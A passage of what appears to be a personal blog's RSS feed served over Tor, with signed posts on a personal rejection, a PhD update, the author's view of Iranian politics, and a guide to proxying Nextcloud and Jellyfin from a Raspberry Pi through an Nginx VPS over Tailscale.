    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    + + Face of Rejection + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/ + Sun, 10 May 2026 22:46:10 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/archive/face_of_rejection/ + <p>Now that I&rsquo;ve had some time to process, I think it&rsquo;s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what&rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother&rsquo;s social cycle. +I don&rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm&hellip; ok, it still doesn&rsquo;t make sense. +Let me think if I can say it better or not. +Ok, let&rsquo;s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that&rsquo;s it, it is limited to &ldquo;talking&rdquo;. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it&rsquo;s fun for many many people, but me&hellip; +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don&rsquo;t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn&rsquo;t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn&rsquo;t the case, but I&rsquo;m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.</p> + Now that I’ve had some time to process, I think it’s good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f*** our interactions were, they were not of any use for me. +Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother’s social cycle. +I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm… ok, it still doesn’t make sense. +Let me think if I can say it better or not. +Ok, let’s say you this person X. +Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it’s fun for many many people, but me… +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don’t want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. +He though it was an attempt by me to poke her. +I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. +I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

    +

    Now the interesting part is my reaction. “Withdrawal”. +The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. +But this was strong. +I did not want to respond. +In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. +During my therappy though, I did open the message. +I went silent. +I tried to process. +The weight of that was heavy. +It became hard to talk. +Hard to reason. +It was just…. sad.

    +

    Going forward I know that the best way forward for me is to stop any communications with her. +It is sad, this losing of a friend, but let’s be honest, were we friends? +No. +Not my definition of friendship. +And honestly, this should be a hard line for me, I don’t care how you define friendship. +If it isn’t mutual, it isn’t good enough for me. +I need to be more dominant, and less scared. +My lines are my lines, and they are not to be negotiated with. +I need to remain strong, and just let go.

    +

    I just realized I did not even talk about what happened. +LMAO. +Long story short, there was this person who I knew for some time. +We used to exchange messages every once in a while. +I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) +I wasn’t trying to ask her out. +I just wanted to be included in some of the social gatherings with her social circle. +To expand mine. +To get to see new people. +Call me an idiot, or whatever, but I didn’t know how to put this into words. +And I did not do it correctly it seems as I got “rejected”. +But as my friend says, “better a sad ending, than a never ending sadness”. +I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

    +

    I do stand by my decision though. +No more interactions with her. +Nothing. +I need to become friends with people that don’t keep me isolated, or stored for their needs. +It should be mutual. +At least, whatever interactions we had, had nothing useful for me. +If anything, it just hurt me by showing how lonely I am. +You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? +If I’m not being helped. +If I’m being kept at arms distance. +If I’m being isolated. +I’m no docker process who should be kept isolated. +I’m the kernel module.

    +

    This came out weird coming from me, but it is what it is :) +I should, and need to say “I” sometimes. +I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc
    +gpg --verify face_of_rejection.md.asc face_of_rejection.md
    +  
    +
    + + +]]>
    +
    + + April '26 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/ + Sun, 03 May 2026 03:26:09 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/april_2026/ + <p>I know, I know. I&rsquo;ve been lacking updates. I&rsquo;m so so sorry. I will try to summerize what I&rsquo;ve been up tp in the past few months.</p> +<p>Up until the middle of March, I&rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I&rsquo;m done with that all together.</p> +<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn&rsquo;t know much about. Though no mail server for me unfortunately.</p> + I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

    +

    Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.

    +

    I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.

    +

    I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.

    +

    Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)

    +

    I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)

    +

    I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
    +fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
    +vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
    +GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
    +vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
    +1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
    +AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
    +S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
    +hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
    +vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
    +DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
    +=Wtha
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/April_2026.md.asc
    +gpg --verify April_2026.md.asc April_2026.md
    +  
    +
    + + +]]>
    +
    + + H3ll0 Fr1end + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/ + Sat, 02 May 2026 16:17:02 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/h3ll0_fr1end/ + <p>Hello friends. I&rsquo;m back. It&rsquo;s been&hellip; let&rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I&rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it&rsquo;s shadow over the country for decades. It&rsquo;s funny how his father (I&rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people&rsquo;s lives, and then selling people&rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it&rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not &ldquo;own&rdquo; makes him the best candidate for exploitation. And he has shown this very well.</p> + Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well.

    +

    The occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.

    +

    It’s so so sad that I’m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It’s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, …, Persian Constitutional Revolution, etc.. So fucking sad.

    +

    The saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don’t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime’s influence over it’s people.

    +

    Another reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it’s own people. Years of stagflation, and no bright light in sight.

    +

    Anyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)

    +

    Unfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D

    +

    I honestly also don’t feel like proofreading the text, so… there would be many mistakes. :) And honestly, idc.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK
    +5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz
    +Ncqa1n+O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l
    +rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS+K5uanIieb1qQ5Rw
    +z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq+8+ozH+
    +0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb
    +4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY+1Ade+vRbuQOxTq70prw9efUnM
    +XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp+QWcUBiRZCS
    +/mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1
    +wY3LJjmn8UM+MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM
    +QGESlBJ5rM/PmozfLI5D+I+YuX9HM8VO1/HcP28U11lfGCm48YA=
    +=7md6
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/h3ll0_fr1end.md.asc
    +gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md
    +  
    +
    + + +]]>
    +
    + + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Mon, 02 Feb 2026 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/pi_service_touchup/ + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. + +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    +
    Browser
    +  ↓ HTTPS (public)
    +Cloudflare DNS (optional proxy on/off)
    +  ↓
    +VPS (funbox) — Nginx reverse proxy + Let's Encrypt
    +  ↓ HTTP over Tailscale (private 100.x network)
    +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    +
    nextcloud         nextcloud:apache     0.0.0.0:8080->80/tcp
    +jellyfin          jellyfin/jellyfin    0.0.0.0:8096->8096/tcp
    +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
